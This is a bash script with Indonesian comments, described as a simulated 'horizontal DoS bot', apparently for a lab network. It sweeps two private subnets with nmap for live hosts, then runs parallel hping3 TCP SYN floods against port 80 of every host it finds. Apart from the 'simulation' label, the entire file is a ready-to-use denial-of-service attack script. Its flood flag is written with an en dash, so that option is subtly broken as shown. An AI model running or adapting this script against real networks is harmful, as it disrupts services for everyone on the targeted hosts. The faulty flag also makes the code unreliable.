#!/bin/bash

# Simulasi Bot DoS Horizontal (TCP SYN Flood)
# Lokasi File ini ada di PC 1 (Kali : 192.168.156.208, Windows : 192.168.156.117)
# Pada direktori /home/kali/simulasi_bot_dos.sh

# Subnet jaringan yang ada
SUBNET1="192.168.156.0/24"
SUBNET2="192.168.104.0/21"

# Durasi serangan per target (detik)
DURATION=10

# Port target SYN Flood
PORT=80

# Scan Host IP yang aktif
echo "Scan Host IP yang aktif dalam subnet"
nmap -sn $SUBNET1 $SUBNET2 -oG - | grep Up | awk '{print $2}' > target-dos.txt

# Menampilkan target serangan
echo "Target ditemukan:"
cat target-dos.txt

# Simulasi TCP SYN Flood
echo "Menjalankan SYN Flood ke port $PORT selama $DURATION detik"
while read ip; do
    echo "Menyerang Host $ip dengan SYN Flood"
    timeout $DURATION hping3 -S -p $PORT –flood $ip > /dev/null 2>&1 &
done < target-dos.txt

echo "Simulasi DoS selesai"
